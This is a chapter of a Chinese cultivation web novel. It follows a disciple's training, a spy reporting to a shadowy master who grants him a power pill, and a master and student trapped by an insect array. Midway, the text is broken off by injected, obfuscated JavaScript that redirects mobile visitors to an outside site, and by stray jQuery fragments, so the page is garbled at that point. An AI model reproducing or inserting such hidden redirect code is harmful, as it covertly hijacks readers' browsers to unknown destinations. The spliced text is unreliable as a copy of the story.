接下来的几日,唐梨唐酒在医药堂参与炼药,忙得未曾现身。
成果是显而易见的,效果也甚是喜人。
门派各处燃起了驱邪香,饭堂汤水换成多种安神汤,菜谱也多添了宁心静气、清火定心的菜式。
弟子们脾气变好了,争执摩擦大大减少,喧哗声都小了。
沈欣玥则是按部就班,上午去石室学新课,中午认真复习,下午锻体、与周不二对练,晚上修行幻水术、练习符箓。
其余几门功法,她差不多学完了初级课程。
学起来最快的,还是阵法与灵植。巫蛊之术,也很有天赋。剑道、御兽表现平平,占卜、咒术这些旁门杂项,则不算突出。
基本上,她已确定主修符道,阵法辅助。
此外,她体内魔气日渐深厚,对肉身强度的要求也越来越高,所以她的锻体课程还要持续很久。
相对主流剑道,她偏爱武道的拳脚功夫,倾向于更直接地锤炼肉身,以便更好承载魔气运转。
总之,门派上下,可谓一片祥和。
这般清静,却与某些人的图谋背道而驰了。
仙葫派千里之外,一处隐秘山洞内。
一名黑衣男子跪伏在地,浑身已被冷汗湿透。
他面前的石台上,恭敬摆放着一块木牌,此刻正散发出阵阵黑气,无形的恐怖威压笼罩着整个山洞。
黑衣男子额头贴紧冰冷地面,声音抖如筛糠。
“尊者,求您明鉴!仙葫派煞气难聚,实乃事出有因,并非卑职心存懈怠、办事不力啊!”
“是那姓沈的丫头发了邪!前日她拿出骨簪,却没按您的吩咐诬陷毕安昭,反而夺走了毕安昭生母留下的神器。卑职猜不透她的用意,唯恐她坏您大计,特地用傀儡符接近暗中探查。”
“卑职本想偷听他师兄妹三人密谈,谁知那毕安昭异常警觉,卑职一无所获。幸好卑职行事谨慎,没有被他抓住。”
“后来卑职听说,沈欣玥靠沧海珠开始修行,特意找人试探,发现确实如此。”
“卑职冒着天大风险,四更时操纵蛇傀,潜入她住处偷袭……”
“什么?”黑气之中,一道男声突然打断了他,沙哑冰冷、透着刺骨寒意。
“你居然对她动用蛇傀,结果如何?”
黑衣男子浑身一震,赶紧低声道:“蛇傀……被她一举斩杀。卑职因此受伤,为免暴露身份,只好连夜逃出仙葫派,在此处潜藏。”
见尊者沉默了,他急忙辩解:“虽然蛇傀炼制不易,但因此让卑职确认,沈欣玥已初步掌握了那神器的力量,实力今非昔比,需尽快除掉,以免养虎为患!”
说着,他的语气越发癫狂:“卑职敢肯定,沈欣玥必定背叛了尊者,和毕安昭勾结在一起!”
“卑职还发现,近几日,毕安昭不在门中,不知去往何处。孟稳舟带人四处巡查,苏款冬集结人手加紧炼丹。正因如此,许多弟子还没得到尊者亲自点化,体内恩泽就被他们消解了许多。”
说到这儿,黑衣男子“咚咚”磕起响头:“尊者,卑职所言句句属实,一片忠心!求您再给卑职一次机会,卑职一定全力以赴,将功补过!”
他的额头很快在石地上磨出了血,混着尘土,整个人狼狈不堪。
连磕了几百个响头后,黑雾里才传来一声轻飘飘的“废物”。
黑衣男磕得更响了,连连求饶。
“本君怜你道途艰辛,这才传你神功,助你筑基,甚至可与金丹一战。没想到你如此无用,连这点小事都办不好。”
木牌上的黑气一阵翻涌:“念你一片赤忱,尚有几分谨慎值得称赞,本君便再赐你一场机缘,将功赎罪。若再把握不住,休怪本君无情!”
黑衣男子如蒙大赦,连忙哽咽着谢恩:“多谢尊者!多谢尊者!卑职定当粉身碎骨,不负尊者所托!”
“毕安昭所去何处,本君心中了然,自会将他师徒二人一并解决。沈欣玥不足为惧,本君自有安排。你即刻潜回仙葫派,暗中布局,抓紧行事。待到时机成熟,便立刻发难,将整个仙葫派,牢牢掌控在手中。”
黑衣男大惊:“尊者,内门还有几位元婴长老,卑职有伤在身,恐怕不是对手……”
“区区元婴,这有何难,本君教你应对之法。”
说着,一缕黑气托着一颗丹药,悬停在黑衣男眼前。
“多谢尊者赐下仙丹!”黑衣男喜不自胜,忙不迭地伸手接过,送入口中。
那丹药仿佛活的一样,入口直奔丹田而去,顺着灵脉飞速蔓延。
黑衣男不以为怪,显然不是第一次服用。
顿时,一股磅礴力量充斥了他的四肢百骸。
相似的服药感受,却是更加强大的力量。
黑衣男不敢耽搁,当下依照尊者所教功法,飞速运转周身灵气。
不多时,一道耀眼灵光自丹田处炸开。
他竟然一举结丹,触及了从前想都不敢想的高阶境界!
黑衣男依旧声音颤抖,心境却已经天差地别:“多谢尊者再造之恩!”
尊者轻哼一声:“办好正事,才不枉本君多番栽培。”
短短几天内,黑衣男两次进阶,信心大增,当下积极进言:“卑职心中已有计划,敬请尊者示下!”
山洞再往西南两千里,十万大山深处。
古木参天,瘴雾弥漫,密密麻麻、挤挤挨挨的虫群盘踞在林间,黑黢黢一片。
本是天敌的它们,此刻放弃厮杀,齐齐仰头,冰冷的虫眼紧盯上方。
那里有一间孤零零的树屋。
树屋之内,是一老一少两道身影。
青年身姿挺拔、眉目沉峻,正是仙葫派大师兄毕安昭。
身旁那中年男子气度沉稳,渊渟岳峙,正是仙葫派掌门沈渊峙。
此刻他面色微白,正主持着一个防御阵,显然灵力损耗甚巨。
三天前,毕安昭借助上一世的记忆,一路披荆斩棘,终于在附近寻到了日夜牵挂的师父。
原来,掌门听闻行踪莫测的蛊先师在此出现,只身前来探寻。
一着不慎,落入神秘人的陷阱,身陷蛊阵不得脱身。
毕安昭赶来后,助力沈渊峙将蛊群暂时逼退。
师徒二人一路奔逃,幸而发现这间前人遗落的树屋,借助屋中残存阵法与简单工具,暂得喘息。
沈渊峙本就是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497661|202576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
全能奇才,阵法、蛊术、丹器无一不精。再加上毕安昭身怀纯阳异血,天生克制阴煞蛊虫,二人一辅一攻,这才支撑至今。
屋外,虫群再度骚动,往树屋上开启了新一轮冲锋,转瞬拉近不少距离。
“你这鼠辈藏头露尾,只会驱使毒虫作祟,为何不敢以真面目示人?”
毕安昭冷声嘲讽,手上剑光不停,不断扑杀逼近的虫潮。
“还是说,本就是故人,近乡情怯,所以不敢相见?”
密林深处骤然响起一阵阴恻恻的怪笑,刺耳至极。
“我和你并非故人,只是受人所托,要将你二人留下。”
话音刚落,一股浓重的黑色毒雾从密林里翻涌而来。
地上的虫群受激,愈发狂暴,悍不畏死地扑向剑光,前赴后继。
毕安昭见状,剑势陡然一变。
只见他一口舌尖血喷在剑上,剑身灵光大放,金色剑气冲天而起,分化出数千道细小剑影,如倾盆暴雨,向着虫群密集之处急速落下。
虫尸簌簌坠落,攻势顿时一滞。
控蛊之人怒喝:“我倒要看看,你这纯阳精血,究竟还能放多少出来!”
毕安昭仰天长笑,气势豪迈:“你尽管拭目以待!”
僵持良久,虫尸堆积成山,那道声音终于渐渐淡去。
毕安昭微微松了口气,低头扫了一眼地面。
剩下的虫群多数带伤,此刻戾气失控,正疯狂撕咬身旁虫子补益自身。
一时间虫尸遍地,毒血四溅。
依照这几日的观察,此刻便是毒虫自相残杀、吞噬同类的进食时刻。
今日它们受伤不轻,厮杀恐怕会持续数个时辰,这段时间他们暂时安全。
沈渊峙望着他,语气担忧:“昭儿,玥儿可与你联系?”
他已知晓沧海珠之事,这才有此一问。
十万大山灵气紊乱,本就与外界沟通不畅,如今再加上蛊阵封锁,寻常的传讯手段早已失效。
幸好,沈欣玥身上绑定了沧海珠,她与毕安昭可凭借灵犀通联系。
那人说得没错,若无外援,仅凭纯阳精血与蛊术相抗,他们的防线迟早会被彻底攻破。
毕安昭轻轻摇头,掩下眼底复杂难辨的情绪。
那天与师父重逢瞬间,他忽然想起小师妹,心头随之闪过一丝微弱感应。
他便知道,小师妹修行不倦,终于唤醒了沧海珠,打开了灵犀通。
仓促之间,他立刻关闭了。
直到今日,才重新开启。
他不知道,这几日里,小师妹是否曾试图联系过自己。
若是她发现自己单方面切断了灵犀通,会不会也赌气关上,再不打开。
他更不敢确定,她……真的会找人来救他们吗?
时至今日,他心底仍藏着一丝挥之不去的怀疑。
“师父放心,我自有打算。”
毕安昭压下心头的纷乱思绪,声音沉稳。
“三日之内,若她仍无音讯,我便拼尽一切,带您强行脱困。”
小师妹的诚意是真、是假,三日后,便会有个暂时的佐证。
时间,确实不多了。